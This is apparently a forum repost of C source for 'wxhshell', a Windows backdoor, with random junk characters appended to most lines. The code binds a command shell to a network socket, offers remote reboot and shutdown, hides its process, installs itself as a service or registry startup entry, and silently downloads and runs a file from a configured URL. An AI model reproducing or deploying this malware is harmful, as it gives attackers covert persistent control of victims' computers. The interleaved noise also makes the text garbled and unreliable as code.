    switch(cmd[0]) { ,oJ$m$(Lj  
  2rM/kF >g  
  // 帮助 IG!(q%Gf  
  case '?': {  y`pgJO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {7EpljH@  
    break; w%%*3[--X  
  } J #;|P-pt  
  // 安装 H9[0-Ur5  
  case 'i': { @$;I%  
    if(Install()) 0fN; L;v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 26=G%F6  
    else } ;d=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |[$ TT$Fb  
    break; OS=~<ba  
    } +]e) :J  
  // 卸载 caL \ d  
  case 'r': { a *nCvZ  
    if(Uninstall())  wKbU}29c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8,)<,g-/=  
    else 0*KL*Gn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )vGxF}I3  
    break; O*>`md?MH  
    } perhR!#J  
  // 显示 wxhshell 所在路径 R'^J#"[  
  case 'p': { eo&G@zwN   
    char svExeFile[MAX_PATH];  $kxu-  
    strcpy(svExeFile,"\n\r"); j$P`/-N  
      strcat(svExeFile,ExeFile); g2YE^EKU~  
        send(wsh,svExeFile,strlen(svExeFile),0); z#6(PZC}  
    break; ,]tMZ?n8  
    } m-Qy6"eW  
  // 重启 l(8@?t^;  
  case 'b': { #d$lN}8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4@M`BH`  
    if(Boot(REBOOT)) 9dva]$^:*1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }eSrJgF4M  
    else { &3\3wcZ,q  
    closesocket(wsh); jEL"Q?#  
    ExitThread(0); 3s#/d,+  
    } :b,An'H  
    break; n/% M9osF  
    } q<cxmo0S  
  // 关机 >oapw5~5  
  case 'd': { _CizU0S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nd{k D>a  
    if(Boot(SHUTDOWN)) )k81  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OZ&SxR%q4  
    else { .lGN Fx  
    closesocket(wsh); lr)9U 7  
    ExitThread(0); cvjZ$Fcc%(  
    } .qCI!%fg  
    break; C-&s$5MzGb  
    } \cHF V  
  // 获取shell _:KeSskuO  
  case 's': { D&D-E~b^  
    CmdShell(wsh); N,&bBp  
    closesocket(wsh); S>d7q  
    ExitThread(0); )gk tI!  
    break; f;bVzti+w  
  } & z5:v-G?  
  // 退出 C-H6l6,  
  case 'x': { Y0ACJ?|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l7(p~+o?h>  
    CloseIt(wsh); QiNLE'19^  
    break; 27Vx<W  
    } &Zo+F]3d  
  // 离开 D 75;Y;E  
  case 'q': { \OkJX_7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E4<#6q  
    closesocket(wsh); g+-^6UG  
    WSACleanup(); dlMjy$/T  
    exit(1); N"zl7.E  
    break; L8KaK  
        } CUj$ <ay=  
  } u|(Iu}sE=  
  } b\H,+|i K  
J4?SC+\  
  // 提示信息 xj JoWB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VI)hA ^ S  
} /$j,p E=  
  } z h%b<  
fbkAu  
  return; f 2k~(@!h  
} .~|[* q\  
;bFd*8?;  
// shell模块句柄 ~l*[=0}  
int CmdShell(SOCKET sock) Q fL8@W~e  
{ )ZpMB  
STARTUPINFO si; uC2qP)m,^  
ZeroMemory(&si,sizeof(si)); DN;$ ->>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9+~1# |  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kE1k@h#/  
PROCESS_INFORMATION ProcessInfo; +[pJr-k  
char cmdline[]="cmd"; )2R]KU_=g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); srH.$Y;~  
  return 0; /1.gv~`+  
} Kj:'Ei7  
NFI~vkk'G  
// 自身启动模式 Iz&<rL;s  
int StartFromService(void) '<AE%i,  
{ (mx}6A  
typedef struct F/"lJ/I  
{ 2]H?q!l!O  
  DWORD ExitStatus;  hAD gi^  
  DWORD PebBaseAddress; T^Hq 5Oy  
  DWORD AffinityMask; ?]>;Wr  
  DWORD BasePriority; R_#k^P^  
  ULONG UniqueProcessId; ,n$HTWa@0  
  ULONG InheritedFromUniqueProcessId; \4uj!LgTb  
}   PROCESS_BASIC_INFORMATION; P,k=u$  
1(jx.W3  
PROCNTQSIP NtQueryInformationProcess; dDl_Pyg4K  
@`HW0Y_:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aQV?}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KD'}9{F,  
vSk1/  
  HANDLE             hProcess; S0;s 7X#c  
  PROCESS_BASIC_INFORMATION pbi; cK'}+  
;s5JYR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I3YSW  
  if(NULL == hInst ) return 0; 3 op{h6  
th+LScOX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~2QD.(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?*cCn-|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `r0MQkk  
T!>sL=uf  
  if (!NtQueryInformationProcess) return 0; XKvH^Z4h{l  
+SkfT4*U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ePTxuCf>  
  if(!hProcess) return 0; >vNE3S_  
$Eo-58<q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s2 $w>L  
J$,bsMIX  
  CloseHandle(hProcess); ]MB6++.e  
J n'SGR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /Y| <0tq  
if(hProcess==NULL) return 0; zn5|ewl@"  
hdYd2 j  
HMODULE hMod; i \@a&tw  
char procName[255]; D*ZswHT{y  
unsigned long cbNeeded; "1hFx=W+\  
Lo}zT-F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iL'j9_w,  
l^rQo_alk  
  CloseHandle(hProcess); D~ 7W  
FMC]KXSd  
if(strstr(procName,"services")) return 1; // 以服务启动 E+Dcw  
9M@,BXOt  
  return 0; // 注册表启动 `Cz_^>]|=  
} KR>o 2  
:71St '  
// 主模块 m5cRHo<9Y  
int StartWxhshell(LPSTR lpCmdLine) n"nfEA3{`  
{ "FLiSz%ME  
  SOCKET wsl; K/8TwB?I  
BOOL val=TRUE; I\|.WrMNi  
  int port=0; cPX^4d~9  
  struct sockaddr_in door; mH )i  
Lg|]|,%e  
  if(wscfg.ws_autoins) Install(); j-t"  
!'a <Dw5  
port=atoi(lpCmdLine); @R;&PR#5  
18> v\Hi<  
if(port<=0) port=wscfg.ws_port; K8h\T4  
W?du ]  
  WSADATA data; Sp[]vm8N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0*6Q 8`I  
FPu$Nd&\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Tj!rAMQk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A&X XL~yH  
  door.sin_family = AF_INET; 8*&YQId~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Eo\(j2F.  
  door.sin_port = htons(port); (SByN7[g b  
J#\oc@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W4)bEWO+q  
closesocket(wsl); cuL/y$+EY  
return 1; uz;eY D  
} l6.&<0pLT  
]6,D 9^{;  
  if(listen(wsl,2) == INVALID_SOCKET) { *C.Kdf3w  
closesocket(wsl); }|l7SFst  
return 1; c,}VC-  
} xggF:El3{  
  Wxhshell(wsl); \9]- (j6[H  
  WSACleanup(); imyfki $B  
_Zxo <}w}y  
return 0; >".@;  
-cP1,>Ahv  
} 0+AMN-  
N\Ab0mDOV.  
// 以NT服务方式启动 z</^qy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0R}hAK+| 4  
{ FhQb9\g  
DWORD   status = 0; ul!q)cPb{  
  DWORD   specificError = 0xfffffff; X#o;`QM  
_.SpU`>/f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [<nd+3E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )-25?B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `tl-] ^Y2  
  serviceStatus.dwWin32ExitCode     = 0; fP llN8n  
  serviceStatus.dwServiceSpecificExitCode = 0; qf{HGn_9~1  
  serviceStatus.dwCheckPoint       = 0; mv(/M t  
  serviceStatus.dwWaitHint       = 0; ^grDP*;W  
UkC'`NWF*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *T:jR  
  if (hServiceStatusHandle==0) return; m",G;VN  
N[N4!k )!$  
status = GetLastError(); ."`||@|  
  if (status!=NO_ERROR) 7t+H94KG7  
{ t;_1/ mt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (*\y  
    serviceStatus.dwCheckPoint       = 0; LdnTdh?  
    serviceStatus.dwWaitHint       = 0; @@=,bO  
    serviceStatus.dwWin32ExitCode     = status; TW=N+ye^1(  
    serviceStatus.dwServiceSpecificExitCode = specificError; {,= hIXo>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _WI~b  
    return; ZHCrKp  
  } iDYm4sY  
M%s!qC+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )/Oldyp  
  serviceStatus.dwCheckPoint       = 0; gl!ht@;>ak  
  serviceStatus.dwWaitHint       = 0; {~#d_!(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uxL3 8d]  
} 1yTw*vH F  
T#HF! GH]  
// 处理NT服务事件,比如:启动、停止 .`oKd@I*"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j?VHR$  
{ V(Oi!(H;v  
switch(fdwControl) S(0JBGC  
{ 7mL1$i6=  
case SERVICE_CONTROL_STOP: aj-:JTf  
  serviceStatus.dwWin32ExitCode = 0; .GWN~iR(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Hio+k^  
  serviceStatus.dwCheckPoint   = 0; Wj, {lJ,  
  serviceStatus.dwWaitHint     = 0; 1[\I9dv2  
  { 61*b|.sl'#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rY)m"'puP  
  } Pd~z%VoO  
  return; IG~Zxn1o  
case SERVICE_CONTROL_PAUSE: ]PbwG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \U'*B}Sz  
  break; u(JuU/U  
case SERVICE_CONTROL_CONTINUE: 7<k@{xI/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6` 3kNk;  
  break; D2zqDo<+;  
case SERVICE_CONTROL_INTERROGATE: wd1>L) T  
  break; SRrp= >w?  
};  nWUau:%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); epcvwM/A  
} P#"_H}qC*  
^tVIPH.R  
// 标准应用程序主函数 +y][s{A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S e(apQH  
{ =.,XJIw&  
:)Da^V  
// 获取操作系统版本 X"%eRW&qu/  
OsIsNt=GetOsVer(); ^b*ub(5Ot  
GetModuleFileName(NULL,ExeFile,MAX_PATH); am/D$ (l1  
2SKtdiY  
  // 从命令行安装 eGo$F2C6E  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4ZB]n,pfT  
NU[Wj uLG  
  // 下载执行文件 _V` QvnT}  
if(wscfg.ws_downexe) { ~L.5;8a3Pe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZQmg;L&7  
  WinExec(wscfg.ws_filenam,SW_HIDE); $BOpjDV8  
} {<i(aq?  
x(rl|o  
if(!OsIsNt) { GD!!xt  
// 如果时win9x,隐藏进程并且设置为注册表启动 !X=93%  
HideProc(); t`1~5#?Du(  
StartWxhshell(lpCmdLine); oOGFg3X  
} u3HaWf3  
else Apkb!"}>  
  if(StartFromService()) ~-~iCIaTb  
  // 以服务方式启动 CC]q\%y-_  
  StartServiceCtrlDispatcher(DispatchTable); !@> :k3DC&  
else 1119YeL  
  // 普通方式启动 Po.izE!C  
  StartWxhshell(lpCmdLine); P+,YWp  
#*G}v%Ow/u  
return 0; >jc17BJq  
}
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只看该作者 1 发表于: 2006-10-10
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